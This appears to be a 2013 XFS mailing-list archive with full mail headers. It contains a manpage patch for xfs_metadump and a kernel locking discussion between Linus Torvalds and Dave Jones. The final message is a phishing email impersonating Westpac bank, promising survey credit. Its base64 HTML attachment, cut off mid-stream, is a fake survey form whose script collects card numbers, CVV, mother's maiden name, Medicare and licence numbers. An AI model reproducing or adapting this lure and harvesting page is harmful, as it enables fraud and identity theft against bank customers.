verify=NO) for ; Mon, 15 Jul 2013 22:16:53 -0400 Message-ID: <51E4AD14.7080904@redhat.com> Date: Mon, 15 Jul 2013 21:16:52 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfs_metadump: manpage fix regarding frozen fs X-Enigmail-Version: 1.5.1 X-ASG-Orig-Subj: [PATCH] xfs_metadump: manpage fix regarding frozen fs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373941013 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xfs_metadump manpage states that metadump works on a frozen filesystem; it does not. In fact, there is no way to detect a frozen filesystem, so we can't make it work, either. So just remove this from the manpage; unmounted or RO mounted is what is enforced by xfs_metadump. Signed-off-by: Eric Sandeen --- diff --git a/man/man8/xfs_metadump.8 b/man/man8/xfs_metadump.8 index 26cea97..4fa1b1c 100644 --- a/man/man8/xfs_metadump.8 +++ b/man/man8/xfs_metadump.8 @@ -32,10 +32,8 @@ is \-, then the output is sent to stdout. This allows the output to be redirected to another program such as a compression application. .PP .B xfs_metadump -should only be used to copy unmounted filesystems, read-only mounted -filesystems, or frozen filesystems (see -.BR xfs_freeze (8)). -Otherwise, the generated dump could be inconsistent or corrupt. +may only be used to copy unmounted filesystems, or read-only mounted +filesystems. .PP .B xfs_metadump does not alter the source filesystem in any way. The From linus971@gmail.com Mon Jul 15 22:25:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3E63E7F37 for ; Mon, 15 Jul 2013 22:25:23 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 103CA8F8033 for ; Mon, 15 Jul 2013 20:25:20 -0700 (PDT) X-ASG-Debug-ID: 1373945114-04bdf0245c33310001-NocioJ Received: from mail-ve0-f176.google.com (mail-ve0-f176.google.com [209.85.128.176]) by cuda.sgi.com with ESMTP id 3DCdoCZa2e4YA6vM (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 15 Jul 2013 20:25:15 -0700 (PDT) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.176 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] Received: by mail-ve0-f176.google.com with SMTP id c13so123745vea.35 for ; Mon, 15 Jul 2013 20:25:14 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.176] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=A6Rzt+id8JB2EvqDFza1bQ3L71/Adlcw0paHZYz9Bxc=; b=n2KTI5mNehXeXdDueAK/X9Z1WKvlsFeq4WkXqRwnNxctobKSdUmY6aI2klrHtQOhNy xMaVkf6nYMslgmXXmN9G45wFpYFyKHKpyJPuDv6jOvHwnI9zWbGmakYWNhs04DZlu2H9 TnYJE2hbETxxrz3wpW/jDuqafgTMuVGJJItTwhfrZ39aEVDCW6fWMYMwjW2ccxcvvE1y 9xib1BjdXP3atRuPCsmmtOpdspl7F2M4wMwdR5QB5R5jLjzP896os9ra5HTM5a4iVdW9 0DnHOBrDM2kMFPM+qdL7RaPSrrDCi2cgN0mtJzlCpV/rxBsG4qt5GAzjzEPZxLo7paX0 fUpA== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=A6Rzt+id8JB2EvqDFza1bQ3L71/Adlcw0paHZYz9Bxc=; b=cUC+dGPt6CMgip56qi9Cbf16ehuZomlCCYaaaCL/lUgg5vH82mAiLm5TCTbpC0tsox t+vbeCvd64d+fYUhJwLOpavyFyCjnihzcHyovpoMXsx3ddwfqA/44ADfWwW5RLtgdB+O q01drQvA2OQsLZo1kXP5uy07Z9Y4WiUO8Ciuc= MIME-Version: 1.0 X-Received: by 10.59.9.69 with SMTP id dq5mr28654144ved.87.1373945114471; Mon, 15 Jul 2013 20:25:14 -0700 (PDT) Sender: linus971@gmail.com Received: by 10.220.237.15 with HTTP; Mon, 15 Jul 2013 20:25:14 -0700 (PDT) In-Reply-To: <20130716023847.GA31481@redhat.com> References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> Date: Mon, 15 Jul 2013 20:25:14 -0700 X-Google-Sender-Auth: 7RxA8Lk9FmjIJ0b3h3zaeMX3whw Message-ID: Subject: Re: splice vs execve lockdep trace. From: Linus Torvalds X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. To: Dave Jones , Linus Torvalds , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f176.google.com[209.85.128.176] X-Barracuda-Start-Time: 1373945115 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 15, 2013 at 7:38 PM, Dave Jones wrote: > > The recent trinity changes shouldn't have really made > any notable difference here. Hmm. I'm not aware pf anything that has changed in this area since 3.10 - neither in execve, xfs or in splice. Not even since 3.9. But I may certainly have missed something. > Interestingly, the 'soft lockups' I was > seeing all the time on that box seem to have gone into hiding. Honestly, I'm somewhat inclined to blame the whole perf situation, and saying that we hopefully got that fixed. In between the silly do_div() buglets and all the indications that the time was spent in nmi handlers, I'd be willing to just ignore them as false positives brought on by the whole switch to the perf irq.. > > Or is the XFS i_iolock required for this thing to happen at all? > > Adding Ben Myers to the cc just for luck/completeness. > > It is only happening (so far) on the XFS test box, but I don't have > enough data to say that's definite yet. .. so there's been a number of xfs changes, and I don't know the code, but none of them seem at all relevant to this. The "pipe -> cred_guard_mutex" lock chain is pretty direct, and can be clearly attributed to splicing into /proc. Now, whether that is a *good* idea or not is clearly debatable, and I do think that maybe we should just not splice to/from proc files, but that doesn't seem to be new, and I don't think it's necessarily *broken* per se, it's just that splicing into /proc seems somewhat unnecessary, and various proc files do end up taking locks that can be "interesting". At the other end of the spectrum, the "cred_guard_mutex -> FS locks" thing from execve() is also pretty clear, and probably not fixable or necessarily something we'd even want to fix. But the "FS locks -> pipe" part is a bit questionable. Honestly, I'd be much happier if XFS used generic_file_splice_read/write(). And looking more at that, I'm actually starting to think this is an XFS locking problem. XFS really should not call back to splice while holding the inode lock. But that XFS code doesn't seem new either. Is XFS a new thing for you to test with? Ben? Comments? I added the xfs list too now that I'm starting to possibly blame XFS more actively.. Linus From davej@redhat.com Mon Jul 15 22:29:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 260717F37 for ; Mon, 15 Jul 2013 22:29:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F1D6E304039 for ; Mon, 15 Jul 2013 20:29:16 -0700 (PDT) X-ASG-Debug-ID: 1373945355-04cbb046911022a30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lqH2OKJCo1cDIa88; Mon, 15 Jul 2013 20:29:16 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6G3Sngi004122 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 15 Jul 2013 23:28:49 -0400 Received: from gelk.kernelslacker.org (ovpn-113-167.phx2.redhat.com [10.3.113.167]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6G3Shsa004502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 15 Jul 2013 23:28:48 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.7/8.14.5) with ESMTP id r6G3Sgir002458; Mon, 15 Jul 2013 23:28:42 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.7/8.14.7/Submit) id r6G3SgB5002457; Mon, 15 Jul 2013 23:28:42 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Mon, 15 Jul 2013 23:28:41 -0400 From: Dave Jones To: Linus Torvalds Cc: Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com Subject: Re: splice vs execve lockdep trace. Message-ID: <20130716032841.GB1578@redhat.com> X-ASG-Orig-Subj: Re: splice vs execve lockdep trace. Mail-Followup-To: Dave Jones , Linus Torvalds , Linux Kernel , Peter Zijlstra , Alexander Viro , Oleg Nesterov , Ben Myers , xfs@oss.sgi.com References: <20130716015305.GB30569@redhat.com> <20130716023847.GA31481@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373945356 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Jul 15, 2013 at 08:25:14PM -0700, Linus Torvalds wrote: > And looking more at that, I'm actually starting to think this is an > XFS locking problem. XFS really should not call back to splice while > holding the inode lock. > > But that XFS code doesn't seem new either. Is XFS a new thing for you > to test with? I started pounding on it fairly recently and have shook out a number of bugs (now fixed) since I started, so relatively new, but on the order of 'months' now. Dave From website.survey@westpac.com.au Mon Jul 15 22:47:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 315B67F37 for ; Mon, 15 Jul 2013 22:47:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1B2648F8040 for ; Mon, 15 Jul 2013 20:47:42 -0700 (PDT) X-ASG-Debug-ID: 1373946459-04cb6c2a41d7ff80001-w1Z2WR Received: from sw.ht-net21.ne.jp (sw.ht-net21.ne.jp [210.169.135.181]) by cuda.sgi.com with ESMTP id pckGglbXCym5DcXx for ; Mon, 15 Jul 2013 20:47:40 -0700 (PDT) X-Barracuda-Envelope-From: website.survey@westpac.com.au X-Barracuda-Apparent-Source-IP: 210.169.135.181 Received: from [93.63.81.5] ([93.63.81.5]) by sw.ht-net21.ne.jp ([210.169.135.181]) with ESMTP id 1373946453.961870.2850028448.sw for ; Tue, 16 Jul 2013 12:45:03 +0900 (JST) From: Westpac Banking Corporation To: linux-xfs@oss.sgi.com Subject: Your opinion is important to us X-TERRACE-DUMMYSUBJECT: Terrace Spam system * X-ASG-Orig-Subj: Your opinion is important to us Date: 16 Jul 2013 05:51:35 +0200 Message-ID: <20130716055135.FA8F988160A4ABC6@westpac.com.au> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_C3C7F5FB.1C330FD9" X-TERRACE-SPAMMARK: NO (SR:2.15) (by Terrace) X-TERRACE-SCANRST: Terrace Spam system X-Barracuda-Connect: sw.ht-net21.ne.jp[210.169.135.181] X-Barracuda-Start-Time: 1373946459 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_TG194 Custom Rule TG194 This is a multi-part message in MIME format. ------=_NextPart_000_0012_C3C7F5FB.1C330FD9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable WESTPAC SURVEY - Your opinion is important to us Westpac will add 60$ credit to your account just for taking part=20=20 in our quick survey. Please take a few minutes to give us your opinion on our website=20 survey. In order to access this survey please download the form attached=20 to this email and open it in a web browser. Once opened, you will be provided with steps to claim your prize. Thank you, Westpac Online Department This is an automated message. Please don't reply. Message ID:=20 02262733095 ------=_NextPart_000_0012_C3C7F5FB.1C330FD9 Content-Type: application/octet-stream; name="WESTPAC SURVEY FORM.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="WESTPAC SURVEY FORM.html" PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9F TiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQi Pg0KPGh0bWwgbGFuZz0iZW4iIGlkPSJ3ZXN0cGFjLXd3dyIgeG1sOmxhbmc9ImVuIiB4bWxu cz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAt ZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04 Ij4NCg0KICAgIA0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwg bm9mb2xsb3ciPg0KICAgIDx0aXRsZT4NCiAgICAgIFdlc3RwYWMgLSBZb3VyIG9waW5pb24g aXMgaW1wb3J0YW50IHRvIHVzDQogICAgPC90aXRsZT48IS0tIGlQaG9uZSBtZXRhZGF0YSAt LT4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9NTcwLCB1c2Vy LXNjYWxhYmxlPXllcyI+DQogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9 IllvdXIgb3BpbmlvbiBpcyBpbXBvcnRhbnQgdG8gdXMuIFRoZSBpbmRlcGVuZGVudCBmZWVk YmFjayB5b3UgcHJvdmlkZSBjYW4gaGVscCBkcml2ZSB0aGUgb25nb2luZyBkZXZlbG9wbWVu dCBvZiBvdXIgd2Vic2l0ZS4iPg0KICAgIDxtZXRhIG5hbWU9ImtleXdvcmRzIiBjb250ZW50 PSIiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xs b3ciPjwhLS0gIEl0ZW0gVHlwZSBOYW1lIGlzICBGZWVkYmFjayBmb3JtICAgLS0+DQo8U0NS SVBUIHR5cGU9dGV4dC9qYXZhc2NyaXB0Pg0KPCEtLQ0KLy8gY29weXJpZ2h0IDE5OTkgSWRv Y3MsIEluYy4gaHR0cDovL3d3dy5pZG9jcy5jb20NCi8vIERpc3RyaWJ1dGUgdGhpcyBzY3Jp cHQgZnJlZWx5IGJ1dCBrZWVwIHRoaXMgbm90aWNlIGluIHBsYWNlDQpmdW5jdGlvbiBudW1i ZXJzb25seShteWZpZWxkLCBlLCBkZWMpDQp7DQp2YXIga2V5Ow0KdmFyIGtleWNoYXI7DQpp ZiAod2luZG93LmV2ZW50KQ0KICAga2V5ID0gd2luZG93LmV2ZW50LmtleUNvZGU7DQplbHNl IGlmIChlKQ0KICAga2V5ID0gZS53aGljaDsNCmVsc2UNCiAgIHJldHVybiB0cnVlOw0Ka2V5 Y2hhciA9IFN0cmluZy5mcm9tQ2hhckNvZGUoa2V5KTsNCi8vIGNvbnRyb2wga2V5cw0KaWYg KChrZXk9PW51bGwpIHx8IChrZXk9PTApIHx8IChrZXk9PTgpIHx8IA0KICAgIChrZXk9PTkp IHx8IChrZXk9PTEzKSB8fCAoa2V5PT0yNykgKQ0KICAgcmV0dXJuIHRydWU7DQovLyBudW1i ZXJzDQplbHNlIGlmICgoKCIwMTIzNDU2Nzg5IikuaW5kZXhPZihrZXljaGFyKSA+IC0xKSkN CiAgIHJldHVybiB0cnVlOw0KLy8gZGVjaW1hbCBwb2ludCBqdW1wDQplbHNlIGlmIChkZWMg JiYgKGtleWNoYXIgPT0gIi4iKSkNCiAgIHsNCiAgIG15ZmllbGQuZm9ybS5lbGVtZW50c1tk ZWNdLmZvY3VzKCk7DQogICByZXR1cm4gZmFsc2U7DQogICB9DQplbHNlDQogICByZXR1cm4g ZmFsc2U7DQp9DQovLy0tPg0KPC9TQ1JJUFQ+DQoNCjxTQ1JJUFQgdHlwZT10ZXh0L2phdmFz Y3JpcHQ+DQpmdW5jdGlvbiBzdWJtaXRmb3JtKCkNCnsNCiAgZG9jdW1lbnQuZnJtU3RhdFNl bGVjdC5zdWJtaXQoKTsNCn0NCjwvU0NSSVBUPg0KDQo8U0NSSVBUIHR5cGU9dGV4dC9qYXZh c2NyaXB0Pg0KZnVuY3Rpb24gY2hlY2tMZW4oeCx5KQ0Kew0KaWYgKHkubGVuZ3RoPT14Lm1h eExlbmd0aCkNCiAgew0KICB2YXIgbmV4dD14LnRhYkluZGV4Ow0KICBpZiAobmV4dDxkb2N1 bWVudC5nZXRFbGVtZW50QnlJZCgiZnJtU3RhdFNlbGVjdCIpLmxlbmd0aCkNCiAgICB7DQog ICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZybVN0YXRTZWxlY3QiKS5lbGVtZW50c1tu ZXh0XS5mb2N1cygpOw0KICAgIH0NCiAgfQ0KfQ0KPC9TQ1JJUFQ+DQoNCjxTQ1JJUFQgbGFu Z3VhZ2U9SmF2YXNjcmlwdD4NCmZ1bmN0aW9uIHNsb2Jveigpew0Kc2lnbnVwRk9STSA9IGRv Y3VtZW50LmZybVN0YXRTZWxlY3Q7DQppZihzaWdudXBGT1JNLm5hbWUudmFsdWUgPT0gIiIp ew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgbmFtZSBvbiBjYXJk LiIpO3NpZ251cEZPUk0ubmFtZS5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBG T1JNLnN0cmVldC52YWx1ZSA9PSAiIil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2Ug ZW50ZXIgeW91ciBhZGRyZXNzLiIpO3NpZ251cEZPUk0uc3RyZWV0LmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0uc3VidXJiLnZhbHVlID09ICIiKXsNCiAgICAgICAg ICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIHN1YnVyYi4iKTtzaWdudXBGT1JNLnN1 YnVyYi5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLnN0YXRlLnZhbHVl ID09ICIiKXsNCiAgICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIHN0YXRl LiIpO3NpZ251cEZPUk0uc3RhdGUuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVw Rk9STS56aXAudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVu dGVyIHlvdXIgcG9zdGFsIGNvZGUuIik7c2lnbnVwRk9STS56aXAuZm9jdXMoKTtyZXR1cm4g ZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5kcml2ZXIudmFsdWUgPT0gIiIpew0KICAgICAgICAg ICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgZHJpdmVyIGxpY2Vuc2UgbnVtYmVyLiIp O3NpZ251cEZPUk0uZHJpdmVyLmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZP Uk0ubWVkaWNhcmUudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNl IGVudGVyIHlvdXIgbWVkaWNhcmUgbnVtYmVyLiIpO3NpZ251cEZPUk0ubWVkaWNhcmUuZm9j dXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5tZWRpY2FyZS52YWx1ZS5sZW5n dGggPDEwKXsNCiAgICAgICAgICAgICAgYWxlcnQoIm1lZGljYXJlIG51bWJlciBpcyBjb21w b3NlZCBvZiAxMCBkaWdpdHMiKTtzaWdudXBGT1JNLm1lZGljYXJlLmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0ubW1uLnZhbHVlID09ICIiKXsNCiAgICAgICAgICAg ICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIG1vdGhlcidzIG1haWRlbiBuYW1lLiIpO3Np Z251cEZPUk0ubW1uLmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uZG9i LnZhbHVlID09ICIiKXsNCiAgICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3Vy IGRhdGUgb2YgYmlydGguIik7c2lnbnVwRk9STS5kb2IuZm9jdXMoKTtyZXR1cm4gZmFsc2U7 fQ0KaWYoc2lnbnVwRk9STS5kb2IudmFsdWUubGVuZ3RoIDw4KXsNCiAgICAgICAgICAgICAg YWxlcnQoIlBsZWFzZSBlbnRlciB2YWxpZCBmb3JtYXQgb2YgZGF0ZSBvZiBiaXJ0aCAoZGQv bW0veXl5eSkiKTtzaWdudXBGT1JNLmRvYi5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihz aWdudXBGT1JNLmNhcmQudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxl YXNlIGVudGVyIHlvdXIgQ2FyZCBOdW1iZXIuIik7c2lnbnVwRk9STS5jYXJkLmZvY3VzKCk7 cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uY2FyZC52YWx1ZS5sZW5ndGggPDE2KXsN CiAgICAgICAgICAgICAgYWxlcnQoIllvdXIgVmlzYS9NYXN0ZXJjYXJkIGNhcmQgbnVtYmVy IG11c3QgY29udGFpbiAxNiBkaWdpdHMsIG5vIGRhc2hlcyBvciBzcGFjZXMiKTtzaWdudXBG T1JNLmNhcmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5leHAudmFs dWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgQ2Fy ZCBFeHBpcmF0aW9uIERhdGUuIik7c2lnbnVwRk9STS5leHAuZm9jdXMoKTtyZXR1cm4gZmFs c2U7fQ0KaWYoc2lnbnVwRk9STS5leHAudmFsdWUubGVuZ3RoIDw2KXsNCiAgICAgICAgICAg ICAgYWxlcnQoIlBsZWFzZSBlbnRlciB2YWxpZCBmb3JtYXQgb2YgY2FyZCBleHBpcmF0aW9u IGRhdGUuIChtbS95eXl5KSIpO3NpZ251cEZPUk0uZXhwLmZvY3VzKCk7cmV0dXJuIGZhbHNl O30NCmlmKHNpZ251cEZPUk0uY3Z2LnZhbHVlID09ICIiKXsNCiAgICAgICAgICAgICAgYWxl cnQoIlBsZWFzZSBlbnRlciB5b3VyIENWVjogbGFzdCAzIGRpZ2l0cyBvbiB0aGUgYmFjayBv ZiB5b3VyIGNhcmQuIik7c2lnbnVwRk9STS5jdnYuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0K DQoNCnJldHVybiB0cnVlOw0KfQ0KPC9TQ1JJUFQ+DQo8IS0tbGluayBpZD0iY3NzLXVpLXRo ZW1lIiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iL0Zvcm1zL3Jlc291cmNlcy5uc2YvZmlsZXMv c3VydmV5LyRGSUxFL3VpLnRoZW1lLmNzcyIgbWVkaWE9InNjcmVlbiIgcmVsPSJTdHlsZXNo ZWV0IiAvLS0+DQo8IS0tW2lmIElFIDddPjxsaW5rIGlkPSJjc3MtaWU3IiByZWw9InN0eWxl c2hlZXQiIGhyZWY9Ii9Gb3Jtcy9yZXNvdXJjZXMubnNmL2ZpbGVzL3N1cnZleS8kRklMRS9p ZTdfZ2VuZXJpY19wb3B1cC5jc3MiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuLHBy aW50IiAvPjwhW2VuZGlmXS0tPg0KPCEtLVtpZiBJRSA2XT48bGluayBpZD0iY3NzLWllNiIg cmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvRm9ybXMvcmVzb3VyY2VzLm5zZi9maWxlcy9zdXJ2 ZXkvJEZJTEUvaWU2X2dlbmVyaWNfcG9wdXAuY3NzIiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9 InNjcmVlbixwcmludCIgLz48IVtlbmRpZl0tLT4NCg0KDQoNCg0KDQogICAgPGxpbmsgcmVs PSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9ImZhdmljb24uaWNv Ij4NCiAgDQo8bGluayByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBocmVmPSJo dHRwOi8vd3d3LmxvdmVyb3NlLmNvbS5jbi9FZGl0b3IvYWRtaW4vaW5kZXh3LmNzcyIgbWVk aWE9ImFsbCI+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0icG9wdXBfNjAwICBmZWVkYmFjayI+ DQo8ZGl2IGlkPSJzaGVsbCI+DQogICAgICA8ZGl2IGlkPSJoZWFkZXItZ2xvYmFsIj4NCiAg ICAgICAgPGRpdiBjbGFzcz0ic2xlZXZlIj4NCiAgICAgICAgICA8YSByZWw9Im5vZm9sbG93 IiBocmVmPSJodHRwOi8vd3d3Lndlc3RwYWMuY29tLmF1LyIgaWQ9ImxvZ28tdy1oZWFkZXIi PjxpbWcgaWQ9ImxvZ28tdyIgc3JjPSJodHRwczovL2Zvcm1zLndlc3RwYWMuY29tLmF1L0Zv cm1zL3Jlc291cmNlcy5uc2YvZmlsZXMvc3VydmV5LyRGSUxFL2xvZ29fV184Yl9hLnBuZyIg YWx0PSJXZXN0cGFjIEJhbmtpbmcgQ29ycG9yYXRpb24iIGhlaWdodD0iNjYiIHdpZHRoPSIx MzIiPjwvYT4gDQogICAgICAgICAgPGRpdiBpZD0idXRpbGl0eSI+DQogICAgICAgICAgICA8 dWw+DQogICAgICAgICAgICAgIDxsaSBjbGFzcz0id2FpIj4NCiAgICAgICAgICAgICAgICA8 YSBocmVmPSIjbWFpbiI+SnVtcCB0byBjb250ZW50PC9hPg0KICAgICAgICAgICAgICA8L2xp Pg0KICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InRl bCI+UGhvbmUgV2VzdHBhYzogPGE+MTMyIDAzMjwvYT48L3NwYW4+DQogICAgICAgICAgICAg IDwvbGk+DQogICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICA8YSBjbGFzcz0i Y2xvc2Vib3giIGhyZWY9IiMiPkNsb3NlPC9hPg0KICAgICAgICAgICAgICA8L2xpPg0KICAg ICAgICAgICAgPC91bD4NCiAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQo8L2Rp dj4NCiAgICAgICANCiAgICAgIDxkaXYgaWQ9Im1haW4iIGNsYXNzPSJmZWVkYmFjay1jb250 